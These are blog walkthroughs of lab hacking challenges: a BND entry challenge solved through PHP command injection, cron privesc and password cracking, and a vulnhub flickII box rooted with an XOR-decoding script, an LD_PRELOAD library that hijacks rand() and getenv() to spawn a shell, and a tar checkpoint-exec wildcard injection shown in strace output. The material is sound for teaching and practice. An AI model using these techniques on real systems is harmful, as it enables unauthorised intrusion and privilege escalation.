Also you already start with a low priv user which is more than you get with your average vulnhub Boot2Root VM.

Checking out the ransom Note on the Webserver:

Bildschirmfoto 2017-03-02 um 23.25.24.png

In the the www-root you can find the original website as well:

hacker@debian:/var/www/html$ cat originalIndex.php
<?php
if($_GET['password'] != "" && $_GET['file'] != "") {
$command = "/home/readFile ".$_GET['password']." insurances/".$_GET['file'];
}
?>
<html>
<head>
<style>
body {margin: 0;}
.customerAccess {animation-name: customerAnimation; animation-duration: 2s; position: relative; width: 50%; height: 50%; left: 25%; top: 0px;}
.home {animation-name: homeanimation; animation-duration: 2s; position: relative; left:45%; top:0px; width: 200px; height: 100px;}
input[type=text], select, input[type=password] {width: 100%; padding: 12px, 20px; margin: 8px 0; display: inline-block; border: 1px; solid #ccc; border-radius: 4px; box-sizing: border-box;}
@keyframes customerAnimation {0% {left:-50%; top: 0px;} 100% {left:25%; top:0px;}}
@keyframes homeanimation {0% {left:0px;top:0px;} 100% {left:45%;top:0px;}}
input[type=text]:focus, input[type=password]:focus {background-color: #DDDEEE;}
@keyframes example {0% {background-color: white;} 100% {background-color:#CCCCCC}}
table {border-collapse: collapse;}
td, th {border: 0px solid #dddddd;}
.button:hover {background-color: #888888;}
.button {background-color: #aaaaaa; border: none; color: white; padding: 5px 32px; text-align: center; text-decoration: none; display: inline-block; margin: 4px 2px; cursor: pointer; border-radius: 5px; width: 100%;}
a:link {color: blue;}
a:visited {color: white;}
a:hover {color:red;}
.overlay {height: 100%; width: 0; position: fixed; z-index: 1; top: 0; left: 0; background-color: rgb(0,0,0); background-color: rgba(0,0,0,0.9); overflow-x: hidden; transition: 0.5s;}
.overlay-content {position: relative; top: 25%; width: 100%; text-align: center; margin-top: 30px;}
.overlay a {padding: 8px; text-decoration: none; font-size: 36px; color: #818181; display: block; transition: 0.3s;}
.overlay a:hover, overlay a:focus {color: #f1f1f1;}
.overlay .closebtn {position: absolute; top: 20px; right: 45px;}
@media screen and (max-height: 450px) {.overlay a {font-size: 20px} .overlay .closebtn {font-size: 40px; top: 15px; right: 35px;}
</style>
<title>Mountain Security</title>

function change(i) {
var newContent = "";
if(i == 1) {
document.getElementById("co").style="animation-name: example; animation-duration: 2s; background-color: #CCCCCC";
newContent = "
...
...
...

So the answer to the first question is quite obvious from this two blocks:

bildschirmfoto-2017-03-03-um-00-28-40

and later on:

bildschirmfoto-2017-03-03-um-00-27-32

 

 

So the Answer to the first question is quite easy: 

The Website did not do any user input validation and just passed user input to the php system() function which leads to OS Command injection (OWASP Top 10 A1-Injection).

Basically we just need to append a second command in the $command variable, so I intercepted the website with burp and added a “; id” for the first try:

Bildschirmfoto 2017-03-02 um 21.34.59.png

“; id” was URL encoded for this:

Bildschirmfoto 2017-03-02 um 21.35.19.png

Know that we have OS Command injection a shell was easily obtained as nc is installed on the webserver:

URLEncode the command:Bildschirmfoto 2017-03-02 um 21.40.10.png

Alter the second HTTP_GET parameter (POC):Bildschirmfoto 2017-03-02 um 21.40.21.png

Obtain a limited www-data shell:

Bildschirmfoto 2017-03-02 um 21.42.49.png

 

Now looking around on the system and investigating the websites further you can find some interesting details:

A hardcoded password in a c file:

Bildschirmfoto 2017-03-02 um 22.02.50.png

Data exfil was also possible via the website logic:

Bildschirmfoto 2017-03-02 um 22.09.31.png

Basically you notice that the Challenge was prepared on a very basic level, which is okay as it fits the goal I guess…

Goal 2: How could the attackers gain root privileges? (privesc)

Bildschirmfoto 2017-03-02 um 23.48.23.png

  • How did the attackers obtain root privileges
  • Describe the Vulnerability and obtain the new root-password

To solve this I looked a bit around on the box and finally started to transfer the usual privesc checker scripts:

unix-prives-check

linuxprivchecker.py

LinEnum.sh

linuxprivchecker.py showed me a bad cronjob eventually:

Bildschirmfoto 2017-03-02 um 22.18.31.png

This is as easy as linux privesc gets…

For testing purposes I let it touch a file in tmp:

Bildschirmfoto 2017-03-02 um 22.19.05.png

Then straight forward nc reverse shell again:

Bildschirmfoto 2017-03-02 um 22.21.32.png

Back to the roots:

Bildschirmfoto 2017-03-02 um 23.47.17.png

Obtain the shadow file:

Bildschirmfoto 2017-03-02 um 23.49.41.png

And feed it to john:

Bildschirmfoto 2017-03-03 um 00.05.19.png

This password was obtained from the file /home/root/Rul0rzZrootPw (see next Question).

 

Goal 3: What kind of stolen data was parked on the Server? (Kevin, was this you… ?)

Bildschirmfoto 2017-03-02 um 23.56.19.png

  • What data was stored on the hacked Server?
  • How were the data disguised?
  • Name the flag!

The Obvious Data on the server seems to be cleartext passwords:

root@debian:/home/hackedData# ls
ls
flagImage.jpg hackedPasswords.txt
root@debian:/home/hackedData# head hackedPasswords.txt
head hackedPasswords.txt
password
123456
12345678
1234
qwerty
12345
dragon
pussy
baseball
football

Kevin Mitnick called, he wants his KungFu back!

The Flag seems to be a decoy:

Bildschirmfoto 2017-03-02 um 22.26.24.png

I already checked if the jpeg has more than one magic header but that this not the case.

Also there were two potential root passwords stored in “/home/root”:

root@debian:/home/root# ls -la
ls -la
total 16
drwx---r-- 2 root root 4096 Nov 23 13:11 .
drwxr-xr-x 5 root root 4096 Nov 23 13:26 ..
-rwx------ 1 root root 21 Nov 23 13:11 root_pw
-rwx------ 1 root root 22 Nov 23 12:57 Rul0rzZrootPw
root@debian:/home/root# cat root_pw
cat root_pw
2Has21sjJ0w3/?dee82H
root@debian:/home/root# cat Rul0rzZrootPw
cat Rul0rzZrootPw
JDWbwz334aawefHHwf/)2

Turns out the second is the new root password (see question 2):

Bildschirmfoto 2017-03-03 um 00.05.19.png

 

Conclusion:

This was a fun but pretty easy challenge.
I guess i could still be missing the real flag which might be the real forensics challenge :-D

As for the skill level this is way easier than most PWK / OSCP machines.

However I enjoyed it and think its cool the BND uses this as a job entry challenge. I hope they sign every new employee up for PWK afterwards! :)

Now do I want to work for the BND?
Only if they post me on Hawaii and the weather is like in movies! :)

 

Posted in boot2root, miscellaneous | Tagged , , , , | 6 Comments

vulnhub: flickII – to the root – walkthrough part2

This Post continues Part 1 of my flickII walkthrough!

In the last post I showed how I was able to get a reverse shell using the flick-check-dist.apk and its API.
In this post I will conclude the walkthrough by demonstrating how I became root.

How to become robin

As I got the reverse shell in context of nginx, I first used standard privesc techniques to search for accessible files, go through the websites sourcecode and look for other obvious issues that could help me elevate privileges.

After checking the obvious stuff / low hanging fruits I retruned to the APK Sourcecode because of a Feature of the APK I noticed earlier:

ssh-failed

 

Use Secure Access – However enabling the function just displays an error and no HTTP request can be intercepted using burp.

So back to the source code it is!

After digging around a bit i found the responsible function:

ssh-functionSo SSHCommand()! The APK tries to speak SSH to the Server. However the initial Portscan showed that SSH was not listening so thats probably why Secure Access Failed!

A quick google search also revealed that jsch is a complete Java implementation of SSH v2:

jcraft-jsch

 

So lets follow the SSHCommand() function:

sshcommand

 

So it indeed is trying to establish an SSH Session and even better: with hard coded credentials!

The username is easy: “robin”

The password was a bit trickier! The SSH Password of the User “robin” is the result of the function call: CommandActivity.validate(text)

text in turn contains the b64 decode of the integrity_check string:

integrity-check

 

Now lets take a look at the validate function:

validate

 

So the b64 decode of the integrity_check variable is xored with the string inside the key string!

After doing a quick stackoverflow programming lesson I had a simple python xor script thrown together:

 #!/usr/bin/python

import base64

b64string = "YFhaRBMNFRQDFxJEFlFDExIDVUMGEhcLAUNFBVdWQGFeXBIVWEsZWQ=="

strinput = base64.b64decode(b64string)
key = "This is a super secret message!"
output = ""

def xor_strings(s,t):
 """xor two strings together"""
 return "".join(chr(ord(a)^ord(b)) for a,b in zip(s,t))

print xor_strings(base64.b64decode(b64string), key)

And the Output:

 root@kali:~/vulnhub/flickII# ./xor1.py 
40373df4b7a1f413af61cf7fd06d03a

So lets try to escalate to robin in the reverse shell:

sufail

Fail! :-(

But this has to work! One thing that bothered me right away was the length of the strings!

So 3 extra lines of python showed me the length of each string:

print len(xor_strings(key, base64.b64decode(b64string)))

print len(key)

print len(base64.b64decode(b64string))

Lets take a look:

root@kali:~/vulnhub/flickII# ./xor2.py 
31
31
40

So the xor only goes as far as the shorter string!

Lets take a look again how the APK handles this:

 for (int i = 0; i < input.length(); i++) {
      output.append((char) (input.charAt(i) ^ key[i % key.length]));

So the APK is doing some kind of modulo magic on the position of the string key!  I was to lazy to figure that out in my head so I just programmed the same in python:

#!/usr/bin/python

import base64

b64string = "YFhaRBMNFRQDFxJEFlFDExIDVUMGEhcLAUNFBVdWQGFeXBIVWEsZWQ=="

#print repr(base64.b64decode(b64string))
strinput = base64.b64decode(b64string)
key = "This is a super secret message!"
output = ""

def xor_strings(s,t):
 """xor two strings together"""
 return "".join(chr(ord(a)^ord(b)) for a,b in zip(s,t))


for i in range (0,len(strinput)):
 output += xor_strings(strinput[i],key[i % len(key)])

print output
print len(output)

And the Result:

root@kali:~/vulnhub/flickII# ./xor_strings.py 
40373df4b7a1f413af61cf7fd06d03a565a51898
40

Lets test this as a password for robin:

robin

LD_PRELOAD for the win \o/

Good practice with every new user on a linux system is to check their sudo rights:

sudominuslnotworkingOh noes! no real titty!

This can be solved by spawning a new bash via python using:

python -c 'import pty; pty.spawn("/bin/bash")'

So lets try again:

sudo-l

There we found the dice before we knew we needed it!

But I also found /home/robin/debug.gpg

cat debug.gpg
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dude,

I know you are trying to debug this stupid dice thing, so I figured the below
will be useful?

[...]
__libc_start_main(0x555555554878, 1, 0x7fffffffe508, 0x5555555548e0 <unfinished ...>
getenv("LD_PRELOAD") = nil
rand() = 1804289383
__printf_chk(1, 0x555555554978, 0x6b8b4567, 0x7ffff7dd40d4) = 22
__cxa_finalize(0x555555754e00, 0, 0, 1) = 0x7ffff7dd6290
+++ exited (status 0) +++Dice said: 1804289383
[...]

Lemme know!

- --
Sean
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVsSXBAAoJEF+jiAi1AwtOqd8P/3L19JE2BFA/xHvUyb/rWdIc
fKVZUCHb7oHFrwXavfagY4gm2ssLwOLNX0a1/DGqEwS8MjaQmW5s31iEulqUQjX9
+8NGJpaKOL2rp+cVD57VCsQSstkEJtlwK5WgrsInUz8FH06N0I/d3b3GqckFBzND
jpBSBib3CyL1LOoEvc0ThKMUT/AdvIwC+t4fldx8o+YOLEGoZuCzWOM6KNysmTCa
wqAsCaNMpavn+2hPy2liozZfRyBo4mmLVKY3tcnHC+ntlPaDi7ENG3Xc5RSHYyA7
BFcIPNPTZsh9QEdCF0A/s3A349SZ4rimkQkqOOeoHfrMTKPaCmX/N3jJ9q05+Ccg
56xR9WsYTgwwb6qZ3PEzFQ5pXcKwaLAmCLxFxW/X76z7rmVI0GsqnkXAd16R/VDy
nLlUIMq0HrldSZ15VVikR3CMm3SRkrx6PlzCQ2cCTtRXGfiOPqN1lDmReYjKbCYo
DkvQi0zhD7Ow6m5w8NPAUXplhDEGK2mTrL9qWvZfin5JKLW3ZWSBqPw6jVitwAJm
Ej9wlMcb32lzmzrC45tH/U+Kq/M7cTYCIU3xYcL1URAK8IWn2fMZgmmepAR+QT0S
MgAHhbJmRhzA98KxCtgR0RXrKPeIwSfxOJi7Yx16GSLKYPhCQn8YRzxpmPp0h5Yd
7Zo/oh0FA+3WWsmYfa7I
=jvfO
-----END PGP SIGNATURE-----

Good thing I have used LD_PRELOAD in the past and recognized it instantly!

Lets take a closer look at the “sudo -l” output again:

Matching Defaults entries for robin on this host:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", env_keep+=LD_PRELOAD,
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User robin may run the following commands on this host:
(bryan) /usr/local/bin/dice

So I can pass LD_PRELOAD as an environment variable and run the dice as user bryan.

That sounds like a classic LD_PRELOAD Privesc technique!

If youre not familiar with the LD_PRELOAD technique google it quickly or read up on this well written post of it.

Basically the idea is to inject a library (.so) that will execute my code as the user who is running the binary (bryan thanks to sudo).

So lets start with the SO file:

#include <stdlib.h>

// spwan a bash in context of bryan instead of generating random number

int rand(){
 system("/bin/bash"); 
 return 0;
}

 

This should drop me into a bash instead of giving me a fake random number!

Lets download, and compile this as an .so file:

curl http://192.168.0.56/flick2.c -o flick2.c

gcc -shared -fPIC flick2.c -o /tmp/flick2.so

I put the output in /tmp because it needs to be at a place that the user bryan can read!

Now lets try to run it:

ldpreloadiddntwork

So this did not work…

But I am sure it must work somehow… At this point I got stuck and took a peek at rasta_mouse’s walkthrough of flickII ;-)

With that I got it working quickly and afterwards he even was so kind and explain to me as why it did not work.

Here we go:

Remember the /home/robin/debug.gpg:

head debug.gpg
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dude,

I know you are trying to debug this stupid dice thing, so I figured the below
will be useful?

[...]
__libc_start_main(0x555555554878, 1, 0x7fffffffe508, 0x5555555548e0 <unfinished ...>
getenv("LD_PRELOAD") = nil

The last line prevents LD_PRELOAD to be passed to the binary!

The solution is to also overwrite the getenv() function! :-D

#include <stdlib.h>

// overwrite getenv() function so that it cant prevent usage of LD_PRELOAD

char *getenv(const char *name){
 return 0;
}
// spwan a bash in context of bryan instead of generating random number

int rand(){
 system("/bin/bash"); 
 return 0;
}

So lets try this again:

hustonwegotbryan

Huston we got bryan \o/

Life of Bryan

With an privesc checker script I ran in the beginning I found 2 Interesting SUID files:

[+] SUID/SGID Files and Directories
 drwxr-sr-x 3 root systemd-journal 60 Dec 27 13:04 /run/log/journal
 drwxr-sr-x 2 root systemd-journal 60 Dec 27 13:04 /run/log/journal/9b5855bbd2204da88ff236bfdace60da
 -r-xr-sr-x. 1 root tty 15344 Jun 10 2014 /usr/bin/wall
 -rwxr-sr-x. 1 root tty 19536 May 12 2015 /usr/bin/write
 -rwsr-xr-x. 1 root root 64200 Mar 6 2015 /usr/bin/chage
 -rwsr-xr-x. 1 root root 78168 Mar 6 2015 /usr/bin/gpasswd
 -rwsr-xr-x. 1 root root 41752 Mar 6 2015 /usr/bin/newgrp
 -rwsr-xr-x. 1 root root 44232 May 12 2015 /usr/bin/mount
 -rws--x--x. 1 root root 23960 May 12 2015 /usr/bin/chfn
 -rws--x--x. 1 root root 23856 May 12 2015 /usr/bin/chsh
 -rwsr-xr-x. 1 root root 32064 May 12 2015 /usr/bin/su
 -rwsr-xr-x. 1 root root 31960 May 12 2015 /usr/bin/umount
 -rwsr-xr-x. 1 root root 27656 Jun 9 2014 /usr/bin/pkexec
 -rwsr-xr-x. 1 root root 57536 Jul 30 2014 /usr/bin/crontab
 ---s--x--x. 1 root root 130720 Mar 6 2015 /usr/bin/sudo
 ---x--s--x. 1 root nobody 293832 May 12 2015 /usr/bin/ssh-agent
 -rwsr-xr-x. 1 root root 27832 Jun 10 2014 /usr/bin/passwd
 -rwsr-xr-x. 1 root root 11208 Mar 6 2015 /usr/sbin/pam_timestamp_check
 -rwsr-xr-x. 1 root root 36264 Mar 6 2015 /usr/sbin/unix_chkpwd
 -rwxr-sr-x. 1 root root 11208 Mar 6 2015 /usr/sbin/netreport
 -rwsr-xr-x. 1 root root 11272 Mar 6 2015 /usr/sbin/usernetctl
 -rwxr-sr-x. 1 root postdrop 218552 Jun 10 2014 /usr/sbin/postdrop
 -rwxr-sr-x. 1 root postdrop 259992 Jun 10 2014 /usr/sbin/postqueue
 -rwsr-xr-x. 1 root root 15416 Jun 9 2014 /usr/lib/polkit-1/polkit-agent-helper-1
 -rwsr-x---. 1 root dbus 318384 Mar 6 2015 /usr/lib64/dbus-1/dbus-daemon-launch-helper
 -rwx--s--x. 1 root utmp 11192 Jun 10 2014 /usr/libexec/utempter/utempter
 ---x--s--x. 1 root ssh_keys 457312 May 12 2015 /usr/libexec/openssh/ssh-keysign
 -rwsr-x---. 1 sean bryan 8830 Jul 2 2015 /usr/local/bin/backup
 -rwsr-x--- 1 root sean 866169 Aug 15 2015 /usr/local/bin/restore 

/usr/local/bin/backup belongs to sean:bryan and is suid!

lets run file on it:

[bryan@fII tmp]$ file /usr/local/bin/backup

/usr/local/bin/backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xc3cbb4476467a324fd93e428225dbedb5df5e2d3, not stripped

Dang a binary and not an easily readable script!

So lets run it through strace:

[bryan@fII tmp]$ strace /usr/local/bin/backup

execve("/usr/local/bin/backup", ["/usr/local/bin/backup"], [/* 21 vars */]) = 0
brk(0) = 0x555555756000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff9000
open("/tmp/flick2.so", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\6\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0775, st_size=8036, ...}) = 0
mmap(NULL, 2101304, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7bd9000
mprotect(0x7ffff7bda000, 2093056, PROT_NONE) = 0
mmap(0x7ffff7dd9000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0) = 0x7ffff7dd9000
close(3) = 0
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=22781, ...}) = 0
mmap(NULL, 22781, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7ff3000
close(3) = 0
open("/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\34\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2107760, ...}) = 0
mmap(NULL, 3932736, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7818000
mprotect(0x7ffff79ce000, 2097152, PROT_NONE) = 0
mmap(0x7ffff7bce000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b6000) = 0x7ffff7bce000
mmap(0x7ffff7bd4000, 16960, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7bd4000
close(3) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff2000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff0000
arch_prctl(ARCH_SET_FS, 0x7ffff7ff0740) = 0
mprotect(0x7ffff7bce000, 16384, PROT_READ) = 0
mprotect(0x7ffff7dd9000, 4096, PROT_READ) = 0
mprotect(0x555555754000, 4096, PROT_READ) = 0
mprotect(0x7ffff7ffc000, 4096, PROT_READ) = 0
munmap(0x7ffff7ff3000, 22781) = 0
setresuid(1002, 1002, 1002) = -1 EPERM (Operation not permitted)
setresgid(1002, 1002, 1002) = -1 EPERM (Operation not permitted)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff8000
write(1, " * Securing environment\n", 24 * Securing environment
) = 24
write(1, " * Performing database backup..."..., 33 * Performing database backup...
) = 33
rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x7ffff784d650}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], SA_RESTORER, 0x7ffff784d650}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0x7fffffffe9d0) = 3878
wait4(3878, app/
app/.gitignore
database.sqlite
framework/
framework/cache/
framework/cache/.gitignore
tar (child): /home/sean/backup_20161227.tar.gz: Cannot open: Permission denied
tar (child): Error is not recoverable: exiting now

Aha! tar! I can smell where this is going!

To get the next part I had to peek at other writeups again ;-)

But eventually I got this right:

 sh-4.2$ strace -s 999 -v -f /usr/local/bin/backup 2>&1 | grep execve
strace -s 999 -v -f /usr/local/bin/backup 2>&1 | grep execve
execve("/usr/local/bin/backup", ["/usr/local/bin/backup"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "HOSTNAME=fII.local", "SHELL=/bin/bash", "TERM=unknown", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/spool/mail/robin", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "TAR_CHECKPOINT=1", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=8", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/strace"]) = 0
[pid 3913] execve("/bin/sh", ["sh", "-c", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin; cd /usr/share/nginx/serverchecker/storage; /bin/tar -zvcf /home/sean/backup_$(/bin/date +\"%Y%m%d\").tar.gz *;"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "HOSTNAME=fII.local", "SHELL=/bin/bash", "TERM=unknown", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/spool/mail/robin", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "TAR_CHECKPOINT=1", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=8", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/strace"]) = 0
[pid 3915] execve("/bin/date", ["/bin/date", "+%Y%m%d"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/date"]) = 0
[pid 3916] execve("/bin/tar", ["/bin/tar", "-zvcf", "/home/sean/backup_20161227.tar.gz", "app", "--checkpoint=1", "--checkpoint-action=exec=sh", "database.sqlite", "framework", "logs"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0
[pid 3918] execve("/bin/sh", ["/bin/sh", "-c", "sh"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0
[pid 3918] execve("/bin/sh", ["sh"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "HOSTNAME=fII.local", "SHELL=/bin/bash", "TERM=unknown", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/spool/mail/robin", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "_=/bin/sh", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "TAR_CHECKPOINT=1", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=10", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000"]) = 0
[pid 3919] execve("/usr/local/bin/gzip", ["gzip"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = -1 ENOENT (No such file or directory)
[pid 3919] execve("/bin/gzip", ["gzip"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0

Let me explain the strace options:

strace -s 999 -v -f /usr/local/bin/backup 2>&1 | grep execve

-s strsize -- limit length of print strings to STRSIZE chars (default 32)

-> the output of the arguemtents would be cut off without this!

-v -- verbose mode: print unabbreviated argv, stat, termios, etc. args

-> prints all args

-f -- follow forks, -ff -- with output into separate files

-> follows all forking processes which is needed in this case

Now lets look at this part again:

